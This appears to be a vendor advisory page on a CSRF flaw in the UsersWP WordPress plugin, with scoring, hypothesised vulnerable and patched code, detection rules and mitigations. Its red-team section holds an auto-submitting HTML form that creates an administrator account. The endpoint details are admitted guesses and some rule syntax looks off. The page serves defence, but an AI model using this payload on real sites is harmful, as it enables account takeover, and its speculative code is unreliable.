CVE-2025-67593
Executive Summary
CVE-2025-67593 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the UsersWP WordPress plugin, developed by Stiofan. The flaw affects all versions from n/a through 1.2.48. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or creating new user accounts, by tricking the victim into clicking a malicious link or visiting a crafted page. The vulnerability is classified as a WordPress ecosystem issue, as UsersWP is a WordPress plugin. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. UsersWP is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain security considerations are limited to ensuring the plugin is updated from a trusted source (WordPress.org) and verifying file integrity via checksums if available.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – The attacker does not need authentication.
- User Interaction: Required (UI:R) – The victim must click a link or visit a page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – Limited modification of data or settings.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation (e.g., creating admin accounts) elevates the risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the UsersWP plugin’s administrative functions, likely in the userswp action handler for AJAX requests or settings pages. CSRF occurs when the plugin fails to validate a nonce or token for state-changing requests. An attacker can craft a malicious HTML page or email that, when visited by an authenticated administrator, triggers a forged request to the WordPress admin area (e.g., wp-admin/admin-ajax.php?action=userswp). This request could modify plugin options, create new users, or change roles without the administrator’s consent.
The root cause is the absence of a WordPress nonce check (wp_verify_nonce()) in the affected endpoints. WordPress provides built-in CSRF protection via nonces, but if the plugin developer omitted this check, the vulnerability arises.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the fix. The vulnerable code likely resembles:
// Vulnerable: No nonce verification
add_action('wp_ajax_userswp_update_settings', 'userswp_update_settings');
function userswp_update_settings() {
// Process settings update without checking nonce
update_option('userswp_settings', $_POST['settings']);
wp_die();
}
A patched version would include:
// Patched: Nonce verification added
add_action('wp_ajax_userswp_update_settings', 'userswp_update_settings');
function userswp_update_settings() {
// Verify nonce
if (!wp_verify_nonce($_POST['_wpnonce'], 'userswp_update_settings')) {
wp_die('CSRF validation failed.');
}
// Process settings update
update_option('userswp_settings', $_POST['settings']);
wp_die();
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with UsersWP <= 1.2.48 installed and an authenticated admin session.
- Attacker-controlled web server or ability to host a malicious HTML page.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
wp-admin/admin-ajax.php?action=userswp). - Craft a malicious HTML page that auto-submits a form to the endpoint with desired parameters (e.g., creating a new admin user).
- Host the page and send the link to the victim admin via email or social engineering.
- When the admin visits the page, the CSRF request executes, performing the attacker’s action.
Example Malicious HTML:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="userswp">
<input type="hidden" name="task" value="create_user">
<input type="hidden" name="user_login" value="attacker">
<input type="hidden" name="user_pass" value="password123">
<input type="hidden" name="role" value="administrator">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithaction=userswpfrom non-admin IPs or without a valid nonce. - Use Web Application Firewall (WAF) rules to block requests missing the
_wpnonceparameter.
Prevention:
- Ensure the plugin is updated to a patched version once available.
- Implement Content Security Policy (CSP) headers to prevent form auto-submission from external domains.
- Use WordPress security plugins that enforce CSRF protection.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=userswpand no_wpnonceparameter. - Logs: WordPress debug logs showing
wp_ajax_userswp_*actions without nonce verification. - File: Unexpected user accounts with administrator role created in
wp_userstable. - Behavior: Plugin settings changed without admin interaction.
Detection Engineering
YARA Rule
rule CVE_2025_67593_CSRF_UsersWP {
meta:
description = "Detects CSRF exploitation attempts against UsersWP plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67593"
strings:
$ajax_action = "action=userswp" nocase
$wp_admin = "/wp-admin/admin-ajax.php" nocase
condition:
$ajax_action and $wp_admin
}
Sigma Rule
title: CVE-2025-67593 - UsersWP CSRF Exploitation Attempt
id: 8a3f7c2e-1b4d-4e5f-9a0b-6c7d8e9f0a1b
status: experimental
description: Detects HTTP requests targeting UsersWP AJAX endpoint without nonce
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=userswp'
cs-uri-query|contains: '/wp-admin/admin-ajax.php'
condition: selection
falsepositives:
- Legitimate plugin updates with nonce
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-67593 - UsersWP CSRF Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=userswp"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-67593;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released, if possible.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=userswpthat lack a valid nonce. - Educate administrators about phishing attacks that may exploit CSRF.
Long-term Fix:
- Monitor the UsersWP plugin page for a security update. Once released, update to the patched version immediately.
- Consider replacing the plugin with an alternative that has active security maintenance.
Workaround:
- Add a custom nonce check via a WordPress plugin or code snippet:
add_action('wp_ajax_userswp', 'custom_userswp_csrf_check', 1);
function custom_userswp_csrf_check() {
if (!wp_verify_nonce($_POST['_wpnonce'], 'userswp_nonce')) {
wp_die('CSRF detected.');
}
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.